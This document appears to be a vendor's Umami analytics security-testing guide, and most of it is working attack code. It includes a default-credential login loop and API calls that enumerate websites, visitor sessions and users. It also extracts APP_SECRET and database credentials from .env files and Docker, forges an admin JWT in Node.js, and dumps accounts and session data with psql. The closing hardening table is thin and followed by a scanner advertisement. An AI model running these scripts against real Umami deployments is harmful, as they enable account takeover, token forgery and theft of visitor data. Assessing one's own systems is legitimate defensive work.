Umami Security Testing: Default Credentials, API Token, Database, and .env APP_SECRET

Umami is a widely deployed open-source web analytics platform (Google Analytics alternative) built on Next.js, used to track website visitor data, pageviews, and custom events — it stores all visitor behavioral data including referrer URLs, UTM parameters, and geographic data. Notably, admin / umami are the documented default credentials that must be changed after installation. Key assessment areas: APP_SECRET signs JWT authentication tokens; the API provides access to all website analytics data; the database stores all visitor sessions and events; and website tracking IDs (used in the tracker script) can be enumerated to access individual website stats. This guide covers systematic Umami security assessment.

Table of Contents

  1. Default Credentials and API Token Testing
  2. API Website and Analytics Data Enumeration
  3. APP_SECRET and Database Credential Extraction
  4. Umami Security Hardening

Default Credentials and API Token Testing

# Umami — default credentials and API token testing
UMAMI_URL="https://umami.example.com"

# Umami documented default credentials: admin / umami
# MUST be changed after installation per documentation
for CRED in "admin:umami" "admin:admin" "admin:password" "admin:changeme"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${UMAMI_URL}/api/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t=d.get('token','')
print(f'OK: {t[:30]}' if t else 'FAIL')
" 2>/dev/null)
  echo "${USER}/${PASS}: ${TOKEN}"
done

# Successful auth — get user info
TOKEN="your-umami-jwt-token"
curl -s "${UMAMI_URL}/api/me" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"username\")} role={d.get(\"role\")} id={d.get(\"id\")}')
" 2>/dev/null

API Website and Analytics Data Enumeration

# Umami REST API — website and analytics data enumeration
UMAMI_URL="https://umami.example.com"
TOKEN="your-umami-jwt-token"

# List all tracked websites
curl -s "${UMAMI_URL}/api/websites?includeTeams=true" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sites = d.get('data',d) if isinstance(d,dict) else d
print(f'Websites: {len(sites)}')
for s in sites[:10]:
    print(f'  [{s.get(\"id\")}] {s.get(\"name\")} domain={s.get(\"domain\")} share_id={s.get(\"shareId\",\"none\")}')
" 2>/dev/null

WEBSITE_ID="your-website-id"

# Get website statistics
curl -s "${UMAMI_URL}/api/websites/${WEBSITE_ID}/stats?startAt=0&endAt=9999999999999" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Pageviews: {d.get(\"pageviews\",{}).get(\"value\")}')
print(f'Unique visitors: {d.get(\"uniques\",{}).get(\"value\")}')
print(f'Bounce rate: {d.get(\"bounces\",{}).get(\"value\")}')
" 2>/dev/null

# Get all sessions (visitor data with IP, browser, OS, referrer)
curl -s "${UMAMI_URL}/api/websites/${WEBSITE_ID}/sessions?startAt=0&endAt=9999999999999&page=1" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sessions = d.get('data',d.get('sessions',[])) if isinstance(d,dict) else d
print(f'Sessions: {len(sessions)}')
for s in sessions[:5]:
    print(f'  country={s.get(\"country\")} city={s.get(\"city\")} browser={s.get(\"browser\")} os={s.get(\"os\")}')
" 2>/dev/null

# Get all users on the platform
curl -s "${UMAMI_URL}/api/users" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',d) if isinstance(d,dict) else d
print(f'Users: {len(users)}')
for u in users[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} role={u.get(\"role\")} created={str(u.get(\"createdAt\",\"\"))[:10]}')
" 2>/dev/null

APP_SECRET and Database Credential Extraction

# Umami APP_SECRET and database credential extraction

# .env file — Umami secrets
cat /app/.env 2>/dev/null | grep -E "APP_SECRET|DATABASE_URL|SECRET"
# APP_SECRET — JWT signing secret for authentication tokens
# DATABASE_URL — PostgreSQL or MySQL connection string

# Docker environment variables
docker inspect umami 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['APP_SECRET','DATABASE','SECRET','PASSWORD']):
            print(e)
" 2>/dev/null

# Forge JWT token using extracted APP_SECRET
APP_SECRET="extracted-secret"
node -e "
const crypto = require('crypto');
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'HS256',typ:'JWT'})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
  userId: 'admin-user-id-from-db',
  role: 'admin',
  iat: now,
  exp: now + 86400
})).toString('base64url');
const sig = crypto.createHmac('sha256','${APP_SECRET}').update(header+'.'+payload).digest('base64url');
console.log('Forged: '+header+'.'+payload+'.'+sig);
" 2>/dev/null

# PostgreSQL direct access — Umami schema
DATABASE_URL="postgresql://umami:PASSWORD@localhost/umami"
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All users with hashed passwords
SELECT id, username, role, created_at
FROM account
ORDER BY role, created_at DESC
LIMIT 20;
EOF

# All tracked websites with their tracking IDs
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT website_id, name, domain, share_id,
       user_id, team_id, created_at
FROM website
LIMIT 20;
EOF
# share_id — public share token for shared analytics dashboards

# Session data — visitor analytics including geographic data
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT s.session_id, s.website_id,
       s.country, s.subdivision1, s.city,
       s.browser, s.os, s.device,
       s.screen, s.language, s.created_at
FROM session s
ORDER BY s.created_at DESC
LIMIT 10;
EOF

Umami Security Hardening

Umami Security Hardening Checklist:
Security TestMethodRisk
Default credentials (admin/umami)POST /api/auth/login with admin/umami — full admin access; documented default that is well-known and routinely targeted against all Umami deploymentsCritical
APP_SECRET extraction and JWT token forgeryRead .env APP_SECRET — JWT signing secret; forge valid authentication tokens as any Umami user bypassing password authenticationCritical
Website analytics data enumerationGET /api/websites — all tracked websites with domains; GET /api/websites/{id}/sessions — all visitor sessions with country, city, browser, referrer; business intelligence about traffic patternsHigh
Public share token enumerationDatabase SELECT from website — share_id tokens; shared dashboards accessible without authentication at /share/{share_id}; enables viewing analytics for any shared websiteMedium
User account enumerationGET /api/users — all Umami platform users with usernames and roles; database SELECT from account — password hashes for offline crackingHigh

Automate Umami Security Testing

Ironimo tests Umami deployments for default admin/umami credential exploitation, APP_SECRET extraction and JWT token forgery, API website and visitor session enumeration, public share token enumeration and access, user account enumeration and password hash extraction, DATABASE_URL PostgreSQL/MySQL credential extraction, Docker environment variable exposure, share_id database enumeration, traffic data unauthorized access testing, and admin interface network exposure assessment.

Start free scan